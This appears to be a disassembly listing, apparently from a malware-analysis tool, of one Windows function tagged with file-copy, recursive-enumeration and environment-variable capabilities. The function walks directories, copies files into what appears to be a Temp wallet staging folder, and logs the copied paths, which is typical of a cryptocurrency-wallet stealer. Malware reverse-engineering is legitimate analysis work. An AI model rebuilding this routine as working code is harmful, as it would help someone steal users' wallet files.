Function at 0x4147b0
Capabilities:
Copy file
Enumerate files on windows
Enumerate files recursively
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4c04a4
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x720
push ebx
push esi
push edi
xor edi, edi
mov ebx, ecx
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 4], edi
lea eax, [ebp + 8]
mov edx, dword [ebp + 0x1c]
cmp edx, 8
mov esi, dword [ebp + 8]
mov ecx, dword [ebp + 0x18]
cmovae eax, esi
cmp word [eax + ecx*2 - 2], 0x5c
je 0x414829
cmp ecx, edx
jae 0x414817
lea eax, [ecx + 1]
cmp edx, 8
mov dword [ebp + 0x18], eax
lea eax, [ebp + 8]
cmovae eax, esi
mov dword [eax + ecx*2], 0x5c
jmp 0x414829
push 0x5c
mov byte [ebp - 0x18], 0
push dword [ebp - 0x18]
push ecx
lea ecx, [ebp + 8]
call fcn.00406240
push ebx
lea edx, [ebp + 8]
lea ecx, [ebp - 0x98]
call fcn.0041ac90
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x414843
mov eax, dword [eax]
lea ecx, [ebp - 0x318]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edx, dword [ebp - 0x84]
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp - 0x18], esi
setne bl
cmp edx, 8
jb 0x41489c
mov ecx, dword [ebp - 0x98]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x414892
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41513a
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 7
mov word [ebp - 0x98], ax
test bl, bl
je 0x414e19
mov ebx, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x30]
mov esi, 0x22f3
call fcn.00405bc0
add esp, 4
push str._Files_Wallet_
mov edx, eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x48]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4148ff
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x520]
push ecx
push eax
call ebx
mov edx, dword [ebp - 0x34]
cmp edx, 8
jb 0x414948
mov ecx, dword [ebp - 0x48]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41493e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41513a
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 0x38], 0
mov byte [ebp - 4], al
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x34], 7
mov word [ebp - 0x48], ax
cmp edx, 8
jb 0x414999
mov ecx, dword [ebp - 0x30]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41498f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41513a
push edx
push ecx
call fcn.004a24e6
add esp, 8
cmp byte [0x4da960], 0
je 0x4149bc
push 0
call fcn.004ab5ce
add esp, 4
push eax
call fcn.004aa01a
add esp, 4
mov byte [0x4da960], 0
call fcn.004a9ff9
cdq
lea ecx, [ebp - 0x60]
idiv esi
add edx, 0x412
call fcn.0040ee80
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x520]
xor eax, eax
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 7
lea edx, [ecx + 2]
mov word [ebp - 0x48], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4149f3
sub ecx, edx
lea eax, [ebp - 0x520]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.0041aa10
lea eax, [ebp - 0x60]
mov byte [ebp - 4], 3
push eax
lea edx, [ebp - 0x48]
lea ecx, [ebp - 0x30]
call fcn.0041ade0
add esp, 4
push 0x4cf708
mov edx, eax
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x78]
call fcn.00405d20
add esp, 4
lea ecx, [ebp - 0x2ec]
mov byte [ebp - 4], 5
push ecx
mov edx, eax
lea ecx, [ebp - 0xc8]
call fcn.00405d20
add esp, 4
mov esi, eax
lea eax, [ebp - 0x2ec]
mov byte [ebp - 4], 6
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0xb0]
call fcn.0041ae90
add esp, 4
cmp dword [esi + 0x14], 8
jb 0x414a7f
mov esi, dword [esi]
cmp dword [eax + 0x14], 8
jb 0x414a87
mov eax, dword [eax]
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov edx, dword [ebp - 0x9c]
cmp edx, 8
jb 0x414ad1
mov ecx, dword [ebp - 0xb0]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x414ac7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41513a
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0xb4]
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x9c], 7
mov word [ebp - 0xb0], ax
cmp edx, 8
jb 0x414b32
mov ecx, dword [ebp - 0xc8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x414b28
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41513a
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x64]
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 7
mov word [ebp - 0xc8], ax
cmp edx, 8
jb 0x414b8d
mov ecx, dword [ebp - 0x78]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x414b83
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41513a
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 7
mov word [ebp - 0x78], ax
cmp edx, 8
jb 0x414bdf
mov ecx, dword [ebp - 0x30]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x414bd5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41513a
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 7
mov word [ebp - 0x30], ax
cmp edx, 8
jb 0x414c31
mov ecx, dword [ebp - 0x48]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x414c27
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41513a
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x78]
call fcn.00405bc0
add esp, 4
push 0x4cf70c
mov edx, eax
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x30]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x414c64
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x728]
push ecx
push eax
call ebx
mov edx, dword [ebp - 0x1c]
cmp edx, 8
jb 0x414cad
mov ecx, dword [ebp - 0x30]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x414ca3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41513a
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x64]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 7
mov word [ebp - 0x30], ax
cmp edx, 8
jb 0x414cff
mov ecx, dword [ebp - 0x78]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x414cf5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41513a
push edx
push ecx
call fcn.004a24e6
add esp, 8
lea eax, [ebp - 0x728]
push str.a_ccsUTF_16LE
push eax
call fcn.004a9b59
mov esi, eax
add esp, 8
test esi, esi
je 0x414dbb
cmp dword [ebp - 0x4c], 8
lea ecx, [ebp - 0x60]
cmovae ecx, dword [ebp - 0x60]
push ecx
push 0x4cf760
push esi
call fcn.0040edd0
add esp, 0xc
lea eax, [ebp - 0x2ec]
push eax
push str._wS_n
push esi
call fcn.0040edd0
add esp, 0xc
lea eax, [ebp - 0x2ec]
lea edx, [ebp + 8]
lea ecx, [ebp - 0x30]
push eax
call fcn.0041ae90
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x414d69
mov eax, dword [eax]
push eax
push str._wS_n_n
push esi
call fcn.0040edd0
mov edx, dword [ebp - 0x1c]
add esp, 0xc
cmp edx, 8
jb 0x414db2
mov ecx, dword [ebp - 0x30]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x414da8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41513a
push edx
push ecx
call fcn.004a24e6
add esp, 8
push esi
call fcn.004a5e1b
add esp, 4
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x4c]
cmp edx, 8
jb 0x414df9
mov ecx, dword [ebp - 0x60]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x414def
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41513a
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov esi, dword [ebp - 0x18]
lea eax, [ebp - 0x318]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4148c7
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x78]
call fcn.0041a8c0
push 0x4cf784
mov edx, eax
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x30]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x414e43
mov eax, dword [eax]
lea ecx, [ebp - 0x318]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edx, dword [ebp - 0x1c]
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp - 0x80], esi
setne bl
cmp edx, 8
jb 0x414e96
mov ecx, dword [ebp - 0x30]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x414e8c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41513f
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 0x20], 0
mov byte [ebp - 4], al
mov edx, dword [ebp - 0x64]
mov dword [ebp - 0x1c], 7
mov word [ebp - 0x30], ax
cmp edx, 8
jb 0x414ee7
mov ecx, dword [ebp - 0x78]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x414edd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41513f
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 7
mov word [ebp - 0x78], ax
test bl, bl
je 0x4150f3
test byte [ebp - 0x318], 0x10
je 0x41500d
xor eax, eax
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x2ec]
mov dword [ebp - 0x34], 7
mov word [ebp - 0x48], ax
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x414f30
sub ecx, edx
lea eax, [ebp - 0x2ec]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.0041aa10
mov byte [ebp - 4], 9
lea esi, [ebp - 0x48]
mov ebx, dword [ebp - 0x48]
or edi, 1
cmp dword [ebp - 0x34], 8
mov dword [ebp - 0x14], edi
cmovae esi, ebx
mov dword [ebp - 0x18], edi
cmp dword [ebp - 0x38], 2
jne 0x414f93
mov ecx, 0x4cf39c
mov edx, 2
sub esi, ecx
nop dword [eax + eax]
mov ax, word [ecx + esi]
cmp ax, word [ecx]
jne 0x414f93
add ecx, 2
sub edx, 1
jne 0x414f80
jmp 0x415010
xor eax, eax
mov dword [ebp - 0x50], 0
lea ecx, [ebp - 0x2ec]
mov dword [ebp - 0x4c], 7
mov word [ebp - 0x60], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x414fb0
sub ecx, edx
lea eax, [ebp - 0x2ec]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.0041aa10
or edi, 2
lea esi, [ebp - 0x60]
cmp dword [ebp - 0x4c], 8
mov dword [ebp - 0x14], edi
mov edi, dword [ebp - 0x60]
cmovae esi, edi
cmp dword [ebp - 0x50], 1
jne 0x415007
mov ecx, 0x4cf398
mov edx, 1
sub esi, ecx
mov ax, word [ecx + esi]
cmp ax, word [ecx]
jne 0x415007
add ecx, 2
sub edx, 1
jne 0x414ff4
jmp 0x415013
mov byte [ebp - 0xd], 1
jmp 0x415017
mov ebx, dword [ebp - 0x48]
mov edi, dword [ebp - 0x60]
mov byte [ebp - 0xd], 0
mov ecx, dword [ebp - 0x14]
test cl, 2
je 0x41505f
mov eax, dword [ebp - 0x4c]
and ecx, 0xfffffffd
mov dword [ebp - 0x14], ecx
cmp eax, 8
jb 0x41505f
lea ecx, [eax*2 + 2]
mov eax, edi
cmp ecx, 0x1000
jb 0x415052
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x415144
push ecx
push edi
call fcn.004a24e6
mov ecx, dword [ebp - 0x14]
add esp, 8
mov dword [ebp - 4], 0
test cl, 1
je 0x4150a8
mov eax, dword [ebp - 0x34]
and ecx, 0xfffffffe
mov dword [ebp - 0x14], ecx
cmp eax, 8
jb 0x4150a8
lea ecx, [eax*2 + 2]
mov eax, ebx
cmp ecx, 0x1000
jb 0x41509e
mov ebx, dword [ebx - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x415144
push ecx
push ebx
call fcn.004a24e6
add esp, 8
cmp byte [ebp - 0xd], 0
je 0x4150d0
sub esp, 0x18
lea eax, [ebp - 0x2ec]
mov ecx, esp
lea edx, [ebp + 8]
push eax
call fcn.0041ae90
mov ecx, dword [ebp - 0x7c]
add esp, 4
call fcn.004147b0
add esp, 0x18
mov esi, dword [ebp - 0x80]
lea eax, [ebp - 0x318]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov edi, dword [ebp - 0x14]
test eax, eax
jne 0x414f03
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [ebp + 0x1c]
cmp edx, 8
jb 0x415129
mov ecx, dword [ebp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41511f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x415144
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
int3